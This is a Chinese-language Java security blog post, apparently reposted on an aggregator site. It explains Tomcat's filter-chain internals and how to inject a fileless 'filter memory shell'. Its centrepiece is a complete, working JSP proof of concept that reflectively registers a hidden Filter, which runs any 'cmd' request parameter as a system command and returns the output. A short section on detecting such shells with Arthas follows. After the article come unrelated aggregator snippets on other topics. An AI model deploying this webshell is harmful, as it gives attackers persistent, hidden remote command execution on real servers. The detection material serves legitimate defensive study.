当前位置: 首页 > news >正文

[Java安全]—再探Filter内存马

前言

关于tomcat反序列化注入回显内存马问题中,就是通过filter内存马进行反序列化动态注册的,但filter内存马由于当时学的时候就没有学的很明白,所以打算重新回顾一下。

前置知识

Tomcat 与 Servlet 的关系

Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
  • Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化),Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
  • Context 表示一个 Web 应用程序,而一个 Web 程序可 能有多个 Servlet(即:Wrapper)
  • Host 表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置 多个站点(Host);一个站点( Host) 可以部署多个 Web 应用(即:Context)
  • Engine 代表 引擎, 用于管理多个站点(Host),一个 Service 只能有 一个 Engine

他们之间也就是一种父子关系:

image-20221203081413310.png

关键类

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

原理

Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。

image-20220715213532387.png

经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;import javax.servlet.*;
import java.io.IOException;public class filter implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 初始化创建");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤操作");filterChain.doFilter(servletRequest,servletResponse);}public void destroy() {System.out.println("Filter 销毁");}
}'']]

web.xml

<filter><filter-name>filterDemo</filter-name><filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

image-20220715112206095.png

createFilterChain

在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()方法来创建filterChain

image-20221203085929212.png

跟进看一下,先通过请求获取到了filterChains,而此时其中没有任何值为null,所以又实例化了一个ApplicationFilterChain

image-20221203101217812.png

在下方获取到了wrapper的父类,根据前置知识中的tomcat与servlet关系也不难看出,warpper的父类也就是context,而context的实现类是StandardContext,因此在下方也可看出context的类型 也就是该类型。

之后通过context获取到了filterMapper

image-20221203092230143.png

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

image-20221203092646247.png

接着在下方会对FilterMap进行遍历

image-20221203094140721.png

①:if判断,第一个matchDispatcher就不看了,就是匹配一下请求返回true,跟进下第二个matchFiltersURL()

其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直,这里由于是/*所以直接返回true了

1%S8$G[06(ZZQ)EJD}04}JS.png

②:根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息),由于是第一轮遍历,因此也就获取到了我们自定义的filter类filterName

③:将 filterConfig 添加到 filterChain中,跟进addFilter函数

image-20221203095156354.png

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到了filters

至此filterChain就装配完了

doFilter

回到createFilterChain的位置,继续向下看,调用了doFilter()

image-20221203095757459.png

跟进后下边又调用了internalDoFilter()

this.internalDoFilter(request, response);

image-20221203100147801.png

①:pos的默认值是0,所以filterConfig取出来的数据也就是filters[0],而在createFilterChain最后的addFilter函数中提到过,最后将我们的filterConfig 添加到了filters中,所以第一条数据就是我们自定义的filter类,第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter

②:通过getFilter()获取自定义的filter类,并将该值赋给filter属性

③:调用filter属性的doFilter方法

image-20221203100629137.png

流程总结

  1. 获取context容器,并从中取出filterMap,接着根据filterMap获取filterConfig并将它追加到了filterChains中
  2. 将filterChains中封装的filters数据,赋值给filterConfig,filterConfig通过getFilter方法获取到了自定义的filter类
  3. 调用该类的doFilter方法

内存马注入

获取context

在上边流程中提到,首先是通过StandardContext类型的context属性中获取的filterMap,那么我们如何获取这个context 呢?

当Web容器启动时,都会创建一个ServletContext上下文环境

context是ApplicationContext类型的,而ApplicationContext又是ServletContext的实现类,因此可以通过该方式,将ServletContext转为 StandardContext 从而获取context

ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

还有其他的获取方法:

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

解决了context问题后,可以根据上边流程发现,其实主要就是用到了三个属性filterMapfilterConfigfilterDef

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  1. 创建恶意 Filter类
        //1、创建恶意filter类Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};

2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中

//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

3、将FilterDefs 添加到FilterConfig

//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);

这里需要注意:

像FilterDef、FilterMap是都有对应的add方法的,但是FilterConfig没有,因此是通过反射获取filterConfigs属性进行的赋值

image-20221203125621694.png

4、创建 FilterMap ,将Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效有先后顺序,所以将自定义的filter放在最前面,让我们的 Filter 最先触发)

//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);

最终POC

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%ServletContext servletContext = request.getSession().getServletContext();Field context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);Field context1 = applicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);// 这样我们就获取到了 contextStandardContext standardContext = (StandardContext) context1.get(applicationContext);//1、创建恶意filter类Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName("Sentiment");filterDef.setFilterClass(filter.getClass().getName());// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中standardContext.addFilterDef(filterDef);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put("Sentiment",filterConfig);//4、创建一个filterMapFilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("Sentiment");filterMap.setDispatcher(DispatcherType.REQUEST.name());//将自定义的filter放到最前边执行standardContext.addFilterMapBefore(filterMap);out.print("Inject Success !");%>

访问filter.jsp,注入成功

image-20221203125837558.png

成功执行命令

image-20221203125908930.png

内存马检测工具

arthas:https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap[2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36[3]: 11480 org.jetbrains.jps.cmdline.Launcher[4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---./  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-12-03 12:10:04[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1/** Decompiled with CFR.** Could not load the following classes:*  javax.servlet.Filter*  javax.servlet.FilterChain*  javax.servlet.FilterConfig*  javax.servlet.ServletException*  javax.servlet.ServletRequest*  javax.servlet.ServletResponse*  javax.servlet.http.HttpServletRequest*/package org.apache.jsp;import java.io.IOException;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;class filter_jsp.1implements Filter {filter_jsp.1() {}public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {
/*175*/             byte[] bytes = new byte[1024];Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;}
/*183*/         filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[@String[org.apache.jsp.filter_jsp$1],@String[memoryshell.filter],@String[org.apache.tomcat.websocket.server.WsFilter],
]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-3827555.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

从零到一编码实现Redis分布式锁

有的同学&#xff0c;就是这么尿性。也能理解&#xff0c;不自己弄一下&#xff0c;怎么能理解透彻&#xff0c;那就一起来搞一下呗&#xff01; 使用场景和选型 分布式多节点的部署方式&#xff0c;使得共享变量有可能被同时操作&#xff0c;遇到有数据一致性要求的情况&…...

Java基础(面向对象 Java继承)

面向对象 Java继承 一、继承就是子类继承父类的方法和属性&#xff0c;代码更加简洁&#xff0c;提高代码的复用性 //狗类 public class Dog {private String color;private String name;private int price;private int age; ​public Dog(String color, String name, int pr…...

数字结合体输出个数

给定数组大小 #include<stdio.h> int main() {char a[10];int i,s0;scanf("%s",a);for(i0;i<9;i){if((a[i]>a&&a[i]<z)&&(a[i1]>a&&a[i1]<z))//a a {continue;}if((a[i]>a&&a[i]<z)&&(a[i1]>…...

微信分身服务器,苹果微信分身版

苹果微信分身版定制技巧一、怎样去做做seo&#xff1f;出现seo&#xff0c;一看就知道。seo如同天上掉馅饼&#xff0c;做到专注优化&#xff0c;那么就是正确的seo&#xff0c;后面的会做出***好的seo。打造微信中的自我推广、商业协同等。微信公众平台做业务流程也可以分为以…...

STM32 HAL库实现FreeRTOS+FreeModbus(从机篇)

软件准备&#xff1a; FreeModbus源码&#xff1a;FreeModbus 主机和从机源码地址 开发工具&#xff1a;Keilv5和CubeMX 硬件平台&#xff1a;STM32F407VET6&#xff08;带RS485接口&#xff09; 1.用CubeMX生成Keil工程&#xff1a; 其他基础部分就跳过&#xff0c;这里讲讲…...

liunx开启Nginx失败, 出现 An error occurred

liunx开启Nginx时,启动失败如何解决 启动Nginx失败的原因&#xff0c;具体要根据自己的情况逐一排查&#xff0c; Nginx启动失败的原因 Nginx启动时&#xff0c;失败原因可能有以下几点&#xff1a; 1、端口被占 2、文件夹有中文名字 3、配置文件中没有配置好&#xff0c;注释…...

python爬取天猫_Python如何抓取天猫商品详细信息及交易记录

本文实例为大家分享了Python抓取天猫商品详细信息及交易记录的具体代码&#xff0c;供大家参考&#xff0c;具体内容如下一、搭建Python环境本帖使用的是Python 2.7涉及到的模块&#xff1a;spynner, scrapy, bs4, pymmssql二、要获取的天猫数据三、数据抓取流程四、源代码#cod…...

用texstudio写伪代码

示例&#xff1a; \documentclass[11pt,twoside,a4paper]{article}\usepackage{algorithm} \usepackage{algorithmicx} \usepackage{algpseudocode} \usepackage{amsmath} \usepackage[top2cm, bottom2cm, left2cm, right2cm]{geometry} \begin{document}%% 写算法伪代码或者流…...

基于易班开放平台接入研究与探索

基于易班开放平台接入研究与探索 平台介绍 ​  易班是提供教育教学、生活服务、文化娱乐的综合性互动社区。已经成为全国教育系统的知名文化品牌。 易班开放平台是指由易班网所享有并运营的软件和提供的服务&#xff0c; 开发者可通过这些软件和服务开发易班插件及应用组件…...

双侧检验Two-Tailed Test

Uses, Formula & Examples | What is a Two-Tailed Test? - Video & Lesson Transcript | Study.com 双侧检验&#xff0c;就是指当统计分析的目的是要检验样本平均数和总体平均数&#xff0c;或样本成数有没有显著差异&#xff0c;而不问差异的方向是否是正差还是负…...

7000字,Python数据分析:泰坦尼克号中女生更容易生还?

作者 | Peter 来源 | 尤而小屋 Titanic数据是一份经典数据挖掘的数据集&#xff0c;本文介绍的是kaggle排名第一的案例分享。原notebook地址&#xff1a; https://www.kaggle.com/startupsci/titanic-data-science-solutions 排名 看下这个案例的排名情况&#xff1a; 第一名…...

解决安装C4D打不开的问题 Cinema 4D R25 Mac中英文 支持M1intel处理器(附经验分享——lib4d文件如何导入)

其快速、强大、灵活和稳定的工具集使设计、运动图形、VFX、AR/MR/VR、游戏开发和所有类型的可视化专业人士更容易和高效地使用 3D 工作流程。使用它&#xff0c;哪怕是像制作动物毛发这样十分精细的三维特效也是可以轻轻松松的完成&#xff0c;完全不需要太多像以前那样非常繁琐…...

一道非常简单的Java面试题

今天跟大家谈一谈并发编程中&#xff0c;大厂面试官经常会问的一个最简单的问题&#xff1a;“非公平锁和公平锁有什么区别&#xff1f;” 看完第一眼&#xff0c;是不是很简单&#xff1f; 很多人张口就回答&#xff1a;“随机访问”、“插队访问””。 这么回答对不对&…...

Compose 动画艺术探索之动画规格

本篇文章是此专栏的第四篇文章&#xff0c;如果想阅读前三篇文章的话请点击下方链接&#xff1a; Compose 动画艺术探索之瞅下 Compose 的动画Compose 动画艺术探索之可见性动画Compose 动画艺术探索之属性动画 动画规格在上一篇文章中提到过&#xff0c;不过上一篇文章中说的…...

mysql主从同步可以同步哪些资源

概述 mysql主从同步可以同步哪些资源&#xff1f;视图、存储过程、存储函数、触发器等这些资源到底能不能同步呢&#xff0c;这里我们做一下深入研究&#xff0c;通过查看binlog日志的方式解析每个操作。 做实验前需要了解两个基础知识&#xff1a; &#xff08;1&#xff0…...

两部委牵头 4央企联手设健康医疗大数据平台公司

4月14日&#xff0c;21世纪经济报道记者获悉&#xff0c;中国电子信息产业集团公司、国家开发投资公司、中国联合网络通信有限公司、中国国有企业结构调整基金股份有限公司于近日共同发起设立中国健康医疗大数据产业发展有限公司。 据悉&#xff0c;该平台公司由国家卫生计生委…...

组件 计算属性

methods: 对methods的理解 methods:{ } 里是写各种不同的方法函数,这些方法可以理解为是一个属性...

实战-splunk 导入并分析本地数据

1&#xff1a; Splunk支持.zip和.tar.gz等压缩包格式&#xff0c;splunk会对上传的压缩包自动解压缩. 采用上传(Upload)的方式从本地导入数据 // Splunk有 上传、监视本地、来自转发三种添加数据的方式 设定路径中的段为主机名&#xff0c;如压缩包&#xff1a;/waf/secure.…...

字符串(字符串匹配)

一、字符串匹配问题、基础 1、假设文本是一个长度为n的数组T&#xff0c;而模式是长度为m的数组P&#xff0c;我们希望在文本T中寻找模式P 如果P出现在T中的第s个位置&#xff0c;那么我们称其有效偏移为s&#xff0c;在其他不匹配的位置称为无效偏移 2、如果字符串w是字符串…...

jq实现给某个字段加样式

示例一&#xff1a; <script type"text/javascript">$(body).html(function(i,oldHTML){return oldHTML.replace(//g,<sup></sup>);}) </script>示例二&#xff1a; <!DOCTYPE html> <html><head><meta charset&quo…...

阿里云运维架构实践秘籍

阿里云运维架构实践秘籍1. 中国互联网发展编年史2. 运维3. 不同云盘单路随机写访问响应时间对比4. 常见数据库性能对比5. 常见衡量业务量级别指标6. 如何根据PV估算服务器数量&#xff1f;7. 不同业务特性计算模型8. PV量和服务器配置/RDS配置对应表9. 服务器CPU/内存配置模型1…...

ESP8266-Arduino网络编程实例-异步TCP客户端

异步TCP客户端 本次实例将使用ESPAsyncTCP库实现一个简单的客户端。 客户端实现的主要步骤如下: 连接WiFi连接服务器注册TCP客户端事件回调函数1、硬件准备 ESP8266 NodeMCU开发板一块数据线一条2、软件准备 Arduino IDE或VSCode + PlatformIO在前面的文章中,对如何搭建ESP…...

阿里云k8s扩展节点最大pod数量

vim /etc/systemd/system/kubelet.service.d/10-kubeadm.conf [Service] EnvironmentFile-/etc/kubernetes/kubelet-customized-args.conf Environment"KUBELET_KUBECONFIG_ARGS--bootstrap-kubeconfig/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig/etc/kuberne...

Activemq配置文件详解

Activemq目录 Activemq根目录下目录列表&#xff1a; -rw-r--r-- 1 activemq activemq 40580 Aug 2 2016 LICENSE -rw-r--r-- 1 activemq activemq 3334 Aug 2 2016 NOTICE -rw-r--r-- 1 activemq activemq 2610 Aug 2 2016 README.txt -rwxr-x…...

Datawhale Task 02 Python自动化之Excel

2.0 包的安装 操作难度&#xff1a;⭐ 方法一&#xff1a;应用pip执行命令 安装openpyxl模块pip install openpyxl ​ 注&#xff1a;openpyxl可以读取xlsx的格式&#xff0c;但是不可以去读xls格式&#xff1b;读取xls格式&#xff0c;可以安装xlrd模块&#xff0c;pip in…...

【火灾检测】森林火灾检测系统(带面板)【含GUI Matlab源码 1921期】

⛄一、火灾检测简介 1 引言 目前森林火灾是破坏森林的最主要的灾害之一, 影响很大。森林是各种珍禽异兽的家园, 森林遭受火灾后, 会破坏野生动物赖以生存的环境。严重的森林火灾不仅能引起水土流失, 还会引起山洪爆发、泥石流等自然灾害。因此, 对森林火灾尽早识别并预警, 就能…...

关于openmv与stm32之间的串口通信实现

已经在研一度过快3个月了&#xff0c;研究生学习跟本科学习还是有很大区别的&#xff0c;要善于自己找资料善于自己总结&#xff0c;因此我也决定从现在开始时不时的写写博客总结后面每段时间遇到的各种困难以及解决方法&#xff0c;为以后工作积累经验也方便以后查阅。 这是我…...

WebDAV之葫芦儿·派盘+Diarium

Diarium 支持webdav方式连接葫芦儿派盘。 是一款跨平台的日记应用,支持 Windows、macOS、Android 和 iOS 系统,拥有模板功能让你快速记日记,有日历、时间线、地图几种样式浏览日记。支持多个平台的手机日记本,提供大量日记模板,轻松插入图片、视频、语音等内容,随时随地…...

如何利用TensorFlow.js部署简单的AI版「你画我猜」图像识别应用

选自Medium&#xff0c;作者&#xff1a;Zaid Alyafeai&#xff0c;机器之心编译&#xff0c;参与&#xff1a;Geek AI、路。 本文创建了一个简单的工具来识别手绘图像&#xff0c;并且输出当前图像的名称。该应用无需安装任何额外的插件&#xff0c;可直接在浏览器上运行。作…...

python串口工具_python 串口监控工具

{"moduleinfo":{"card_count":[{"count_phone":1,"count":1}],"search_count":[{"count_phone":4,"count":4}]},"card":[{"des":"阿里技术人对外发布原创技术内容的最大平台&…...

用计算机时的注意事项,计算机使用注意事项

计算机使用注意事项强化计算机内网、互联网与硬件管理&#xff0c;确保计算机正常工作&#xff0c;网络信息安全通畅、各部门正常工作。主要内容1、爱护计算机相关设备&#xff0c;保持计算机清洁卫生&#xff0c;防止茶水、异物进入键盘、打印机等外部设备&#xff0c;操作计算…...

Redis五大数据类型之String

五大数据类型 官方文档 全文翻译 Redis 是一个开源&#xff08;BSD许可&#xff09;的&#xff0c;内存中的数据结构存储系统&#xff0c;它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构&#xff0c;如 字符串&#xff08;strings&#xff09;&#xff0c; 散…...

JVM上篇:内存与垃圾回收篇-笔记

JVM上篇&#xff1a;内存与垃圾回收篇-笔记 学习了一段时间最近抽时间总结一下JVM学习笔记&#xff0c;代码和课件都放在git上了&#xff0c;发时间在这里是为了方便手机查看使用&#xff0c;和代码示例串联起来。 01-JVM与Java体系结构 02-类加载子系统 03-运行时数据区及…...

cmd返回上一级和根目录

https://jingyan.baidu.com/article/066074d6154cf4c3c21cb013.html转载于:https://www.cnblogs.com/wanqingcui/p/9808614.html...

fbd 文件的研究笔记

本文针对方正书版v11&#xff08;2008&#xff09; 关于图片 fbd 支持 tif/eps/jpg 图片浏览器对图片格式的支持情况&#xff1a;wiki 符号解读 符号A&#xff1a;公式输入法符号B&#xff1a;注解括弧对符号C&#xff1a;上标符号Unicode 编码为 E00B 符号D&#xff1a;下标符…...

G711 G723 G729,带宽计算

G711 G723 G729线路占多少带宽问题   带宽包长度每秒包数   包长度&#xff08;1/打包周期&#xff09;    &#xff08;Ethernet头IP头UDP头RTP头有效载荷&#xff09;&#xff08;1/打包周期&#xff09;    &#xff08;208bit 160bit64bit96bit 有效载荷&#x…...

java 什么叫异或_Java中 ^异或

Java中 ^异或 &相与小常识学过基本逻辑运算符我们知道 ^ 异或是什么意思无外乎&#xff1a;相同为零&#xff0c;相异为1。即 0 ^ 1 1,0 ^ 0 0,1 ^ 1 0;延伸至变量 &#xff1a;a ^ a 0; a ^ 0 a;我们经常在某些交换值的算法中用到void swap(int &a, int &b){a…...

python字符串比较大小 python3_Python中进行字符串比较大小的方法

Python中进行字符串比较大小的方法发布时间&#xff1a;2020-12-14 09:28:15来源&#xff1a;亿速云阅读&#xff1a;84作者&#xff1a;小新这篇文章给大家分享的是有关Python中进行字符串比较大小的方法的内容。小编觉得挺实用的&#xff0c;因此分享给大家做个参考。一起跟随…...

吃透空洞卷积(Dilated Convolutions)

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶”重磅干货&#xff0c;第一时间送达作者丨玖零猴知乎来源丨https://zhuanlan.zhihu.com/p/113285797极市导读 空洞卷积在图像分割需要增加感受野同时保持特征图的尺寸的需求中诞生&#xff0c;本文详细介绍了…...

oracle如何建pdb,教你创建PDB的三种方法

12C官方文档提到6种创建PDB的技术&#xff0c;如下&#xff1a;Create a PDB by using the seedCreate a PDB by cloning an existing PDB or non-CDBCreate a PDB by relocating it to a different CDBCreate a PDB by plugging an unplugged PDB into a CDBCreate a PDB as a…...

linux目录和文件管理相关命令

文章目录 一、Linux目录结构 1.1 树形目录结构 1.2 根目录 1.3 常见的子目录 二、查看文件内容命令 2.1 cat命令 2.2 more命令 2.3 less命令 2.4 head命令 2.5 tail命令 三、统计与检索文件 3.1wc命令 3.2grep命令 四、文件压缩、归档 4.1 gzip命令 4.2 bzip2命令 4.4 zip命令 …...

【Oracle篇】Oracle集群-rac模式

Oracle rac模式 RAC(real application clusters) 整个集群系统又分为 oracle Clusterware (集群就绪软件)和 Real Application(RA) 两大部分组成。 基本架构 rac 是 Oracle 数据库的高可用集群。传统数据库一个实例一个数据库&#xff0c; RAC 是多个实例&#xff0c;一个数…...

计算机视觉基础概念、运行原理和应用案例详解

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶”重磅干货&#xff0c;第一时间送达这是一篇计算机视觉入门指南&#xff0c;从概念、原理、用例等角度介绍了计算机视觉。「机器能够模拟人类视觉系统」的幻想已经过时了。自 1960 年代第一批学术论文出现以…...

Leetcode827. Making A Large Island - 彻底掌握并查集(Union Find)系列题4

You are given an n x n binary matrix grid. You are allowed to change at most one 0 to be 1. Return the size of the largest island in grid after applying this operation. An island is a 4-directionally connected group of 1s. Example 1: Input: grid [[1,...

PHP伪协议-文件包含

lfi.php案例代码 <?phpinclude $_GET[file]; ?>phar://、zip://、zlib://用于读取压缩文件,zip:// 、phart:// 、zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg、png、gif、xxx等等。php://inputphp://input…...

Tomcat部署及配置

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器&#xff0c;属于轻量级应用服务器&#xff0c;Tomcat本身可以当作web服务器使用&#xff0c;是java开发的。 没有java环境&#xff0c;java也叫jdk。 [rootzabbix1 ~]# java - version 可以查看版本 jdk的包有两种&…...

快速制作PCB板的几种方法

